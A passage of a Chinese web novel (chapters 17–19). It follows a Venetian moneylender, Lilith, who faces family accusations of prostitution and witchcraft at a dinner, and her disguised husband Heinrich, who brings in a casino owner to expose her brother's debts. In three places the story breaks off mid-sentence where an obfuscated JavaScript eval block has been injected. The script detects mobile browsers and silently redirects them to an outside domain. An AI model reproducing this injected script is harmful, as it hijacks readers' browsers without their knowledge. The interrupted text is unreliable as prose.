海因里希心中五味杂陈。他当然不希望莉莉斯变卖他送给她的礼物,但以他现在的身份和处境,也没有别的方式能够帮得了她——直到他看见一个熟悉的身影从最不起眼的后门偷偷摸摸地进入了主座教堂。那是他与莉莉斯在卡斯特罗红灯区见到过的金色卷发美少年。 “夫人。” 这一次换作海因里希叫住了正在发呆的莉莉斯。 “你的机会又来了。” 17. 至亲骨肉的来信 四月初的天气总是阴晴不定。莉莉斯原以为今天下午会是个好天气。 她让伊万卡准备了下午茶在小院子里用餐。餐桌上琳琅满目的玻璃器皿中盛着由无花果干、葡萄干和各色果仁制作的糖果;点心盘的小面包片上装饰着帕尔玛火腿搭配帕玛森芝士,还有用橄榄油和苹果醋拌过的深炸小鱼小虾。 莉莉斯最喜欢吃这些了。作为土生土长的威尼斯小孩,她从小就吃各色海鲜长大。然而她的厨师伊万卡并不是意大利本地人。为了让她锻炼厨艺,莉莉斯专门送伊万卡去到索菲亚家的厨房里进修了半个月,回来后才逐渐掌握了如何烹饪正宗威尼斯家常料理,如今能做出这么一大桌经典的下午茶甜咸点来实属不易。 莉莉斯坐在用软枕垫着的座椅上一边品尝美食一边逗弄爬到她腿上玩的小兔子。独自在家时她没有戴面纱,红发随意披散在肩头,由塞西莉娅为她梳理得整齐蓬松。上回买来的那窝小兔崽子并没有变成兔肉大餐。她打算养肥一点再吃。为此她特意托塔塔去集市上买兔子饲料,再也不敢给它们吃人吃的食物了。 塔塔找了好一阵子才找到愿意卖给她饲料的商人。由于威尼斯岛上不但没有耕地,更不存在牧场,动物饲料一类的商品只在这里短暂停留进行大宗交易,从不会有人以零售的形式卖出。塔塔只好装作自己是来拿试吃样品的牧场主伙计,足足搬了一大麻袋的样品回家,够这些小兔子吃到天荒地老。 塞西莉娅在完成了份内的工作后自告奋勇前往码头去照看到港的香料船,这批新送来的货物里有莉莉斯投资的部分。究竟是上好的锡兰肉桂还是廉价的天竺桂皮,是纯正的黑胡椒还是掺了杜松子的赝品,来自东方的少女只需一嗅便能轻易识别。 唯一没被安排工作的海因里希负担起了哄莉莉斯开心的重大责任。应莉莉斯的要求,他穿上了一身洗褪色的陈旧女仆裙,戴着一顶滑稽的金色长卷假发,和兔子一起跪坐在地上仰视他们的女主人。 “这套衣服总不能是您准备给未婚夫的礼物了吧。”海因里希无奈地接受了必须穿上这套衣服的现实。莉莉斯的任性也不是一天两天,他好像已经习惯了这些无理取闹的要求。 “是我让塔塔从跳蚤市场上给你买的,这样你明年狂欢节变装的装扮就有着落了。”莉莉斯笑着晃悠小腿踢了踢他的手臂,“达卢卡主教大人的男宠不也这么穿吗?有什么好害羞的。” 海因里希不得不闭上眼睛来防止自己在女主人面前直接翻白眼。当时要不是他正巧注意到那位供职于红灯区的金色卷发美少年趁夜色降临之际从后门走进主座教堂,莉莉斯现在也无法这般悠闲地在花园里吃点心了。既然没有办法直接贿赂高高在上的主教,那就只能从他身边的人入手。 在情人的软磨硬泡之下,主教大人终于松口给莉莉斯下了特批。莉莉斯也已经按照之前和行会承诺的时间限额交齐了所罗门欠下的税金。除此之外,还有共计约一千杜卡特左右的欠款摆在莉莉斯面前亟需兑付。 “您接下来打算怎么做?”海因里希试图摆脱这套滑稽服装对自己的影响,将话题掰回到工作上去。虽然现在获得了为病人做抢救的行医许可,但这并不意味着手术已经大功告成。 “我接下来打算吃马斯卡彭奶酪配无花果,你也想吃吗?”莉莉斯捏住一小块漂亮的小面包。 “我是说您的债务……” “嘛,最高优先级的欠款已经还清了。那些客户存款和票据之类的次优先债务,用债转商品的方式去和债主谈咯。” “债转商品?” “看他们想要什么。我可以让埃莱娜给我提供羊毛、丝绸,索菲亚手下的裁缝甚至还能做高级定制成衣。” “所以您想以低于市场公价的价格从埃莱娜小姐或者索菲亚夫人那里收购这些商品,再按照公价折算给债主抵债?” “这样一来,我不仅能大大缩减开支,还能帮助亲朋好友赚到钱,一举两得嘛。”莉莉斯把端在手里半天的面包一口塞进嘴里。 要是塞西莉娅在她旁边,看到她这么吃饭又得训斥她不够优雅,然而海因里希还没有对她指指点点的特权,她可以肆无忌惮地大快朵颐。吃完了一块,她又相中了另一块盛着香橙、洋葱拌炸虾米的面包,正准备开口,就看见塞西莉娅抱着一沓信件神情严肃地走到她面前。 莉莉斯被吓了一跳,差点手一松把食物掉在裙摆上。 “夫人,”塞西莉娅嫌弃地瞥了一眼穿着奇装异服的海因里希,顺手把漂亮的点心盘子推开,将信件摆在莉莉斯的餐桌前,“这几封很重要,您务必尽快查阅。” “我吃饭吃到一半嘛……”莉莉斯有些委屈,“晚一点看信又不会飞走。” “其他的或许您可以放一放,但是最上面的那一封,是您父亲的信。” 莉莉斯表情一怔,擦干净手,轻轻捻住信封,用放在一旁没用过的银质餐刀刮开火漆印,将信纸从中取出来。一滴雨水落在了信纸上。莉莉斯抬起头,才发现天上不知何时起乌云密布,开始下起了雨。小兔子门快人一步,急匆匆地跑到桌子底下和屋檐底下躲雨。 “今天晚上去主家宫殿参加家庭聚餐……不去,我绝对不去。”莉莉斯将信纸拍在桌上,头也不回地跑进屋里。塞西莉娅有些担忧地跟着她进门。海因里希慢悠悠从地上爬起来,扫了一眼那摞信件,看见其中夹着一封赫尔穆特·施密德尔寄来的信。 他为什么会给莉莉斯寄信……? 赫尔穆特是海因里希父亲的弟弟,也就是他的叔父。如果说海因里希的父亲是坐镇在家中的家主,那赫尔穆特则是在外辛苦奔波、招揽生意的左膀右臂。他为人谦和好相处,还曾游历多国,精通数种语言。促使施密德尔家族与克纳罗家联姻的也正是这位叔父,算得上是海因里希与莉莉斯之间的媒人。 可是像谈婚论嫁这样的大事,通信联系往往只存在于长辈之间,晚辈是没有知情权的,这也是海因里希和莉莉斯未曾在“结婚前”有过任何交往的原因。他太好奇这封信里写的内容了。但贸然打开恐怕只会惹祸上身。海因里希只能假装什么也没看见,将信件整理起来一齐送进屋檐下去,然后抽空去换掉这身滑稽过头的衣服。 眼见下雨了,伊万卡也赶紧过来一起帮忙,把外面摆着没吃完的食物还有桌布、靠枕收起来。雨珠越下越大,噼里啪啦地拍打进瀉湖的水道中。 临近傍晚的时候,正门前驶来一只贡多拉。莉莉斯恹恹地趴在沙发上,隔着玻璃窗就瞧见那高高翘起的船头上印着克纳罗家族的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973642|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹章。 “外面下这么大的雨,我家夫人身体不适,不能前往。”塞西莉娅不卑不亢地站在门前准备送客。 “我们收到家主的命令,务必要将莉莉安娜小姐带过去。” 来者掀开斗篷向塞西莉娅表明身份。她认得此人,确实是克纳罗现任当家马西莫身边的管家。如果只是寻常的家庭聚会,绝不会劳架这种等级的佣人专程来接。塞西莉娅十分警惕地半掩上门,让海因里希看着门,自己上楼去回禀躲在卧室里不愿出来的莉莉斯。 “看来是不能不去了。”莉莉斯叹了口气。卧室里的壁炉才刚刚升起火来,屋子还没有变暖,“去告诉他我会按时到的。然后召集所有人过来开会。” 塞西莉娅带着塔塔,伊万卡和海因里希一起聚在莉莉斯的卧室。红发的女主人正坐在梳妆台前,神情凝重地给自己梳头发。 “今晚的家族聚餐……我有不好的预感。”莉莉斯转过身看向众人,紧紧皱着眉头,“上次对毛罗的下毒指控没能落实,他肯定怀恨在心,迫不及待想要报复我。而眼下我最大的把柄……就是曾在没有得到汇兑商行会正式许可的情况下经营灰色地带的擦边球放贷业务。虽然现在已经获得了临时许可,但我仍然担心他们会质疑我的经营合法性……只有物证或许不够,真要辩起来,人证比物证更好说理。” 莉莉斯用黑色蕾丝发带将头发高高挽起,在发髻里插进黑色绒布玫瑰。 “塞西莉娅陪着我一同赴宴,伊万卡看家。另外,塔塔在我出门后去联系所罗门·戈德斯坦,海因里希去联系达卢卡主教,随便找什么借口,让他们到主家的宫殿外候着。主教如果请不来,把家族神父请来也行。” 莉莉斯打开梳妆盒,将丈夫送给她的祖母绿项链戴在脖子上,然后分别将两枚印有家纹的银质戒指交给塔塔和海因里希作为手令。 “遵命。” “但愿只是虚惊一场。”莉莉斯长叹一口气,“好了,你们出去吧。塞西莉娅留下来给我换衣服。” 船夫已经为莉莉斯的贡多拉装上了被叫做“费尔泽”的黑色木质框架舱室,以防船内的天鹅绒座椅和地毯被淋湿。莉莉斯躲在塞西莉娅为她撑开的雨伞下小心翼翼地坐进船舱。下雨天的海风呼啸掀起波浪,小船在风雨中剧烈摇摆。两头翘起的密闭黑木船宛如一副棺材,将船中人送向未知的彼岸。等到了克纳罗主家宫殿的时候,莉莉斯已经感到疲惫不堪。 她扶着塞西莉娅的手堂堂正正地走进这个她从小长大却又感到无比陌生的地方。与上次来时不一样的是,这次到处都点亮了蜡烛,照亮金碧辉煌的走廊,也照亮墙上相框中列祖列宗的肖像,亮得像是即将上演戏剧的舞台。 一言不发的佣人领着莉莉斯来到熟悉的会客厅。推开门,她看见正对面的主座上坐着马西莫,旁边围坐着莉莉斯的父亲布鲁诺,哥哥毛罗和嫂子玛丽亚,还有小叔叔弗朗西斯科,与上次冲突一模一样的人员配置,唯一的区别在于,莉莉斯从原告变成了被告,而跪在地上陈情的证人,是她先前在卡斯特罗红灯区买通的那三个妓女。 “是的,没错,就是她。”为首的女人抬起头看了一眼莉莉斯,立马跪倒在地上向马西莫告发道,“她就是我们那儿的头牌,红发的莉莉安!” 18. 意料之外的栽赃 窗外沉重的雨滴噼里啪啦地敲打着这座浮在海面上的城市,雨声落进潟湖里像是序曲开场前的鼓点。各怀鬼胎的男男女女齐聚一堂,将不听话的私生女推向舞台中心的风口浪尖。 莉莉斯被这道完全意料之外的栽赃震惊得目瞪口呆。“红发的莉莉安” 是什么莫名其妙的外号,一点气势都没有。她还是更喜欢“放贷的莉莉斯” 这个花名。 指认莉莉斯的橘发妓女趁着莉莉斯没反应过来,忙不迭地继续抹□□:“从大约两个月以前,莉莉安娜的未婚夫施密德尔先生在海上遇难后不久,她就通过她母亲那边的关系找到了我们那儿的嬷嬷,以‘莉莉斯’的花名自居,让嬷嬷给她介绍一些为达官贵人提供特殊服务的生意……我有这块她送给我的手帕为证!” 橘发的女人掏出一枚精致的丝制刺绣手帕,手帕一角的正反面用双面绣的技法绣着栩栩如生的红玫瑰,玫瑰旁边绣着一行细巧的花体小字,正是“Liliana”的落款。莉莉斯一眼认出来了这块手帕——在她与海因里希一同前往妓院试图贿赂她们获取证词的时候,她一时好心将手帕递给了潸然落下的妓女,却未曾想到会被反过来作为抹黑她的道具。 “这种双面绣的技法,只有来自远东的绣娘才能绣得出来,倒确实像是莉莉安娜身边跟着的那个东方女奴的手艺。”莉莉斯的小叔子弗朗西斯科吩咐佣人将那手帕拿过来看了看,又递给家主马西莫和莉莉斯的父亲布鲁诺能人传阅。 “这样的手帕,我为夫人绣过上百条。指不定不小心丢在了哪里,又被有心人捡了回去。”塞西莉娅冷冰冰地回应道,锐利的目光扫过在座众人,“另外,夫人赐予了我自由外邦人的身份,因此我不是奴隶。” “呵呵……自由外邦人。像我这样身份低贱的妓女,过得连贵族小姐的女仆都不如。若不是她主动施舍,又怎么有机会能捡得到如此高级的手帕?那日她见到我被客人欺负得流眼泪,才看共事的份上,将手帕赠予我擦眼睛。” “这怎么可能呢!”坐在毛罗身侧的玛丽亚露出惊讶的神色,“她好歹是克纳罗家的女儿,怎么可能会去做这种下三滥的事呢!” “敢问夫人和各位老爷,自从订婚礼之后,克纳罗家是否还给莉莉安娜提供过生活费?”跪在地上的另一名浅棕色头发妓女向众人发问。 “确实没有。”莉莉斯的父亲布鲁诺紧紧皱着眉头,“但这也是情有可原的。自从她十七岁从修道院学校毕业之后,就执意要搬出去一个人住,埃莱娜给她找好了房子,她手上还掌握着大笔本要带去施密德尔家族的嫁妆……” “正因为没有了主家供养的生活费,丈夫又被劫匪所杀,她失去了经济上的依靠,才需要通过□□来赚钱。嫁妆虽多,但也终有被用完的一日……”橘发妓女补充道。 “啪,啪,啪。” 莉莉斯拍响了手掌,笑呵呵地坐在椅子上,打了个哈欠。 “可真难为你编出来这么复杂的一个故事。”她轻轻靠在椅背上,仔细观察着在场每一个人的表情,“我家中每月光是食材与日用品采买的支出就要耗费至少五个杜卡特,还不算我给仆役们支付的工钱和佣金。如果我真像你说的一样,在卡斯特罗区的廉价红灯区累死累活地出卖身体赚格罗索银币,那可真是累死了都满足不了我的日常生活开销。” “你服务的尽是些地位尊贵的富人,开出的价码当然也不一样……” “那按照你们这个逻辑,我服务我的,你们干你们的,就算我混成了所谓的‘头牌’也抢不到你们的生意,你们大老远过来举报我的理由是?” 莉莉斯根本不把这些荒谬的指控放在眼里。这很显然是毛罗花钱买通了她们来编造一些莫须有的罪行。只不过因为漏洞太大了,她并不觉得真有人会信,倒有些好奇她们接下来打算怎么编。 “因为你杀了我的孩子,你是一个异端份子,一个女巫!” 一直保持沉默的黑发妓女突然抬起头,用空洞的眼神直勾勾地盯住莉莉斯的脸,盯得莉莉斯都不禁毛骨悚然。她认真回想了一下自己以前下令杀过的人,实在不记得里面还包括什么未成年的孩子。 “自从你来过之后,姐妹们就接二连三地生病。我一用你送给我的手帕擦脸,第二天一早脸上便长了针眼。还有我的孩子……那一天……你摸了一下我孩子的头,没过多久她就患上重病,不治身亡!她还只是一个刚出生的女婴……这一切都是因为你的巫术……” “只因为莉莉安娜是你们克纳罗家的人,即使是管事的嬷嬷也拿她没办法,只能派我们过来告发,才能对她进行女巫审判,然后将她就地正法。” “一派胡言!”莉莉斯此刻终于慌了神。污蔑她卖身的谎言只要搬出足够的事实证据就可以驳倒,可是女巫审判这种怪力乱神的指控,她倒有些不知道该从何辩起了。这三个女人简直是撒泼打滚的地痞无赖,硬要往她身上泼脏水,用正常人讲道理的逻辑根本无法相抗衡。 “审判女巫只有一个办法,将女人捆绑手脚沉进水里,如果浮起来了便是有罪,沉下去了便是无罪。”弗朗西斯科喃喃自语道,“可这也太危险了。常有女人虽然证得清白却被活活溺死。你们是想要莉莉安娜的命啊。” “不行!莉莉安娜毕竟是我的女儿,绝不可以贸然采取这样残酷的审讯。”布鲁诺出乎意料地挺直了身板为女儿辩解道,“她要真做了什么错事,也有我管教无方的责任在,倒是这三个女人,仅靠一条手帕而已,就想要空口无凭污蔑我的女儿,实在可恶……!” 橘发的女人被布鲁诺的反击怼得有些胆怯,眼神不自觉地飘向毛罗。毛罗也对父亲的反对感到有些意外。但他仍旧沉默不语,暗自留意着坐在主位上的马西莫的态度。 “莉莉安娜,你有什么要辩解的吗?”马西莫皱着眉头看向莉莉斯。 “她们对我的指控分为两个部分。”莉莉斯掀起面前的黑纱,强摁下积攒在胸口的愤怒与恐惧,严肃地对马西莫解释道,“第一重指控是说我参与□□。第二重是将我判为女巫。前者为后者的前提条件。而这道前提条件本身就是无稽之谈。首先,我根本就不认识她们;其次,我并不需要通过这种卑微的方式赚钱,更不可能实施巫术。这是赤裸裸的诬陷和诽谤。” 她转过头,看向那三个妓女:“你们口口声声说我服务威尼斯上流社会的客人,那我倒想问问,我的‘恩客’都姓甚名谁?” “那是你的客人,总是带着面具过来,我们又怎么会知道他们的身份……” “你们根本没有任何实质证据,就这样抹黑我,不仅诋毁我作为女儿家的清白,还质疑我对天主的忠诚,颠倒是非黑白,居心叵测!” “我们三个人的证词难道不算证据吗?”黑发女人抬起头,言辞恳切地说,“我的孩子因为你的巫术而死,我才要冒着得罪克纳罗家的风险来给她讨个公道。难道大家同为威尼斯共和国的公民,你们贵族世家的子弟犯了事就能逍遥法外吗?” “无凭无据就要对我实施水审,这哪是公道,简直是赤裸裸的蓄意谋害!” 双方正僵持不下之际,玛丽亚突然开口道: “若想要证明莉莉安娜的清白……除了水审外倒是还有一种方法。莉莉安娜虽然名义上嫁给了施密德尔家的海因里希,但并没有真的同房过,所以现在应当还是处女之身。如果请家族神父来为她指检验身,证明她仍旧是处女,就可以洗脱她的嫌疑,证明她即没有卖身玷污门楣,也不可能是女巫。” “这个方法不错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973643|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”一直保持沉默的毛罗应声附和,“但如果莉莉安娜检查下来并非处女,那么这三个女人的话倒有几分可信了……” “荒唐!”莉莉斯愤怒地打断了他,“我是海因里希·施密德尔的妻子,就算我的丈夫死了,你们也不可以让别的男人随意检阅我的身体!就算能还我清白,也是极大的羞辱!” “相比水审,这已经是折中的办法了。”毛罗看着莉莉斯气急败坏的样子,得意地挑了挑眉,“不然你还能想出什么办法来证明你的清白?” “谁主张谁举证,哪有我作为被告人来自证清白的道理?” “那也不能就这么算了吧!总要查个水落石出才行!”橘发的妓女反驳道,“要不然,可不就是你们克纳罗家仗势欺人吗!” “事关克纳罗家族的声誉,我身为家主,不可能对此坐视不理。”马西莫眼见众人又有要吵成一锅粥的趋势,厉声宣布道,“莉莉安娜,为了家族荣誉,也为了你自己的清白,我认为你应该配合采纳玛丽亚的提议,接受验身检查。” “我拒绝。这样的检查本身就有损我的清白。” 莉莉斯眨了眨眼睛,紧紧攥着裙摆分析局势。表面上玛丽亚提出了一个更温和的“公平”检测,然而实际上一旦莉莉斯答应接受检查,便是自愿踏入了他们制定的游戏规则。 被检视身体的屈辱暂且不提,倒时候若是被他们买通的神父下达了“并非处女”的判决,就相当于做实了她不守妇道出卖身体的罪名,那可真是跳进潟湖也洗不清了。面对这样铺天盖地的抹黑,她还能有什么办法挽回局面呢? 塞西莉娅弯下腰,附在莉莉斯的耳边告诉她塔塔已经带着所罗门·戈德斯坦等在主家宫殿门外随时等待传唤。她这才想起来出发前她特意吩了海因里希和塔塔分别去请主教和犹太银行卖家,都是能够为银行的合法经营权作证的证人。可现在莉莉斯面对完全空穴来风的诽谤,这两个证人就算请来,又还有什么用呢? “去请家族神父过来。”马西莫冷冷地招呼手下的侍从,并不打算继续过问莉莉斯的意思,对她的严正拒绝置若罔闻。 莉莉斯感到一股来自深渊的恐惧不受控制地席卷全身。死去丈夫的名号根本保护不了她。而告发她的这三个女人,莉莉斯与她们仅有一面之缘,对她们好言好语,还打赏了小费。可更高价格的贿赂就能轻而易举地使她们对莉莉斯反咬一口。那么她一直以来私下打点的神父,在面对更大的利益诱惑时,是否也会做出同样忘恩负义的选择呢? 她将目光移向毛罗,与她用着同样的灰绿色眼睛,血脉相连的的亲哥哥,从她记事以来就仗着婚生子的嫡出身份和性别优势对她实施五花八门的暴力与侮辱。红发的小女孩从最初的胆怯转化为愤怒,再由愤怒凝聚成反抗。如果不是毛罗对她无休止的虐待,她或许也不会这么急着从家里搬出来,急着自立门户,不惜谋害无辜的未婚夫也不敢让自己的命运再次落在别的男人手中。现在的莉莉安娜早就已经不再是那个被打了也没有力气还手的小女孩了。无论如何,她都要用自己的力量奋力一搏。 “我拒绝。”莉莉斯义正辞严地再次声明,“我不能接受任何男性对我实施所谓的验身检查。硬要检查的话,也得由修女来进行,而不是神父。修道院学校的校长就是一名德高望重的老修女,我认为……” “这怎么行,你的老师会看在你们交情的份上对你实施包庇吧?”毛罗有些心虚地阻拦道。 “难道家族神父就没有被收买的可能性?”莉莉斯毫不留情地讥讽,然后转而将目光投向马西莫,“我不介意多来几个人做检查,只有两个要求,她们必须都是女人;其次,是不那么容易被收买的女人。” 话音刚落,会客厅的门突然被猛地推开。 19. 未被邀请的证人 大约一小时前,海因里希在莉莉斯出门后回到自己的房间。男性仆人宿舍虽然摆着两张床,但由于莉莉斯家里只有他这一个男人,所以目前为止都被海因里希独享一屋。 他站在窗前,手里不自觉地摸索着莉莉斯交给他的戒指,仔细思索着刚才发生的一切。莉莉斯对他发号施令的样子与她平常下达工作任务时游刃有余的模样大相径庭。比起忧伤垂下的眼角,海因里希倒更情愿看见莉莉斯那双蛇一般的绿眼睛里折射出什么狡猾的坏点子。 完全未知的威胁与过去的创伤缠绕交叠,乱得像是她梳头时缠在一起的头发。在这样的情况下,她对几位仆人的安排比起冷静分析局势后的运筹帷幄,更像是随机分配筹码后的一场赔率未知的赌博。 “去请主教”的指示乍一听没有问题,可海因里希若要实施起来却充满了不确定因素。他只是一个刚来到威尼斯不久的外族奴隶,跟着莉莉斯才有机会与主教有两面之缘。日理万机的主教大人怎么可能会轻易接受他这样一个无名小卒的邀请,去为莉莉斯作证词呢? 就连莉莉斯本人,也是看在了克纳罗家的面子上才能有机会与主教单独碰面。这也是为什么纵使她与家族成员矛盾不断,明知有诈却还是不得不前往赴宴的原因。莉莉斯目前还没有足够的资本主动和克纳罗家撕破脸,彻底放弃家族名号给她带来的许多便利。 克纳罗家对于莉莉斯暗中放贷的行当必然是不知情的。即使是视商业与经济利益为国家命脉的威尼斯,信贷业务能以各种擦边球的形式被允许,这也仍然被看作是上不了台面的生意,被老一代贵族所鄙夷。因此,莉莉斯打算先斩后奏,拿到正式许可后再摊牌,如此一来家里就算反对也没办法制止。 眼下在这个正式审批还没有完成的尴尬阶段,什么事都有可能发生。莉莉斯的担忧并非空穴来风。她害怕毛罗会利用这件事来报复她,因为这是她自己眼下最大的软肋。 然而,毛罗未必能想到这些。从上次的实名制投毒就得以看出此人的愚蠢与短视。他不一定能洞察得了莉莉斯的商业布局。明明作为嫡出的长子却整日游手好闲,不思进取,还打着妹妹嫁妆的主意,不择手段,坏事做尽。海因里希打心底看不起这样的人。 海因里希回想起自己的家庭。他的父母感情很好,一共育有六个孩子。大姐和二姐早已经出嫁,海因里希作为第三子,是家中最年长的男孩,原本是家中最有望继承家族产业与爵位的儿子。与他要好的弟弟威廉刚满十六岁,也已经长成了一名优秀勇敢的青年,与海因里希一起跟随父亲学习经营家中的生意,从不屑于背地里勾心斗角的竞争。 最小的弟弟妹妹们则还在不谙世事的年纪。海因里希还记得自己带着接亲队伍出门的时候,弟弟妹妹守在家门口送别他时期待的眼神。他们都看了克纳罗家族送来的画像,知道他们的哥哥即将迎娶一位美丽的意大利贵族少女。 可这一切美好的愿景都被他的未婚妻莉莉斯亲手毁掉了……吗?毁掉海因里希所憧憬的一切的罪魁祸首,真的是这位被整个克纳罗家族当成众矢之的的小女孩吗? 他的脑海中浮现起莉莉斯收到红宝石戒指时的喜出望外,坐在花园里逗小兔子玩时天真无邪的笑容,收购破产银行成功后的志得意满;还有葬礼上受到言语攻击时的仓皇失措,食物被下毒后的惊恐不安,遭遇劫匪时的失魂落魄……他还记得莉莉斯跌倒在他怀里剧烈颤抖的温度,记得那双漂亮的绿眼睛里泛着的泪光——他不想再看见她哭了,尤其是为了毛罗这么一个又蠢又坏的酒囊饭袋而哭,实在不值得。 他必须得帮助她,帮助她逃离克纳罗家族这个使她陷入深渊的肮脏泥沼。如果不是毛罗的迫害,家族的默许,莉莉斯没有被逼到这个不靠自己就活不下去的境地,说不定也不会选择买凶杀害自己的未婚夫。相反,如果海因里希能够帮助她渡过难关,获得莉莉斯的信任,他也许可以终于向她坦白自己的身份,以海因里希·施密德尔的身份……陪在她身边。 言归正传,关于自证经营权的相关事宜,塔塔去请的犹太商人已经足矣。比起去请根本不可能请来的主教,海因里希认为自己应该利用有限的时间去请来更加有利的证人,不仅仅是抵抗,还要能抓住毛罗的把柄予以反击。 那三个提前买通的妓女?不行。她们的证词漏洞太大,而且利益至上的克纳罗家族根本不会在乎几个低贱妓女的死活。至于交际花,那模棱两可,自保为上的态度肯定也帮不上忙。既然如此,唯一的选项就只剩下了毛罗所光顾的赌场的老板,同时也是毛罗的众多债主之一。 二十分钟后,海因里希穿过赌场华丽的大厅与厅中戴着华丽面具的男男女女,径直走上前去敲响老板办公室的大门。 赌场的老板是个白发苍苍的老头子,身材干瘦,腰背却挺得很直,颇有一幅老当益壮的调子。他的黑袍虽然看得出有年份,但做工和用料都很好,只因为从事的是上不了台面的工作,没有权利像贵族一样招摇地在衣角各处绣上装饰性的纽扣。 “您经营赌场这么多年了,肯定比我更了解赌棍的心理。毛罗既然在您这里欠了钱没有还,必然在别的地方还有更多债款以贷养贷。”海因里希故作悠闲地摇晃着赌场老板招待他的红酒杯,装出一幅气定神闲的模样来。 “那又如何?我们对这些赌棍的放贷规矩向来如此。我只在乎他能还上钱,具体钱是从哪来的,与我无关。” “是这个道理没错。但是,现在我的主人莉莉安娜要对其兄毛罗在家族中作出的恶行做最后的清算。如果您赶在这个档口让克纳罗家知道了他欠款的事,您才有得到那些欠款的可能性。克纳罗家的家主为了自己威尼斯贵族的面子,就算动用家族金库也会将债款还清。但要是等毛罗被处死或是流放了……那您再想收回欠款,可就难了……” “这么做对你的主人有什么好处?” “我的主人莉莉安娜小姐刚刚拿到了汇兑商行会开具的临时经营许可证,很快就会获得正式批准。”海因里希骄傲地抬起头,“这么一来咱们两家公司也算是友商了,只不过面向的客户群体不同。之后同行之间介绍生意,相互照拂,对彼此而言都是双赢的结果。” “我就这么贸然闯进克纳罗家的家族晚宴,难道不会得罪他们家主吗?” “当然不会了,莉莉安娜小姐虽然是私生女,却也是马西莫大人最看好的小辈之一。”海因里希信口胡诌道,“与她结盟,就相当于与整个克纳罗家的未来站在一起。” “成交。” 海因里希暗自松了一口气。他自己都没想到自己居然能编出这么一套唬人的说辞,完全隐瞒了莉莉斯被动受敌的境地,权当她正在主动出击。自从跟了莉莉斯之后,他在高压的生活环境下变得越来越圆滑,也不知道是一种谈判能力的进步还是道德的败坏沦丧。他来不及想这么多了。 半小时后,他带着赌场老板出现在克纳罗主家宫殿的小门前。守卫门常常受到莉莉斯的打点,看到戒指后便直接予以放行。他看见塔塔带着所罗门·戈德斯坦焦急地守在会客厅的门外。 “情况如何?”海因里希将塔塔带到一边,避开两个外人问道。 “很不好。”塔塔担忧地说,“我听见那些人买通了卡斯特罗区的那三个妓女,污蔑咱们夫人是出卖身体的女巫……” “……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973644|177846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>海因里希握紧了拳头,难以置信毛罗竟能做出如此恶毒的栽赃。在海因里希过往接触过的贵族少女中,多的是将贞洁看得比命还重要的人。即使他知道莉莉斯并没有这么高的道德操守,但通过污蔑女人的清白来损害她的名誉仍旧是非常下三滥的手段,简直令人作呕。 更不要说莫须有的女巫指控。海因里希记得自己第一次看到家乡的领地上举行女巫狩猎的场景——无辜的女人被束起四肢,教士们像对待远古宗教中活祭的牲畜一般把她们扔进熊熊燃烧的火堆里。 海因里希抬起头,明亮的烛火在墙壁的烛台上跳跃。他推开守在门前的侍女,领着赌场老板直接闯了进去。 “什么人?”马西莫问向两名不速之客,“我们现在有要事正在商议。” “尊敬的马西莫先生,很抱歉打扰您。”海因里希规规矩矩地单膝跪地,低下头向马西莫行礼,“我是莉莉安娜夫人的奴仆,原本在门外等待着夫人,却迎面撞见这位先生,说是有急事,我就只好带他进来了。“ 赌场老板略带不悦地斜了一眼海因里希。房间里一片混乱的状况与海因里希原先描述的场景可谓相差甚远。但既然来都来了,也就只能顺着对方的话继续说下去。 趁着赌场老板即将发言的档口,海因里希悄悄抬起头看向他的女主人。莉莉斯惊讶得睁大了眼睛,警惕地与他对视,很快又强装镇定地移开眼。 “回禀各位贵族老爷,我是 ‘面具厅‘赌场的经营者,同时是一名债权人。毛罗先生欠下的一百五十杜卡特欠款已经逾期近一个月,我不得不登门拜访请他尽快还钱。” “面具厅,那不是匿名进入的赌场吗?”同样是家中游手好闲的男人,弗朗西斯科对这些事倒是如数家珍。 “对于一般的贵客而言是匿名没错,但对于向我借款的客户,则得查清楚底细了。我也是看在克纳罗家族的面子上才能够给他贷款的。” 赌场老板从公文包中掏出毛罗立下的字据,马西莫的侍者上前将字据递给马西莫。他仔仔细细地看了,然后将字据递给了布鲁诺。 “你可真会教你的儿子女儿。”马西莫愠怒地指责道,“这确实是毛罗的字迹和印章,我想应该没有什么疑问。” 布鲁诺颤颤巍巍地接过那张由毛罗亲自写下的借条,气得浑身发抖:“毛罗,你老实告诉我,除了这些之外,你还欠了多少?” “没,没有了,父亲!”这下换做毛罗惊慌失措了,吓得几乎要从椅子上跌到地上,“就只是这些……还有一些零碎的……” 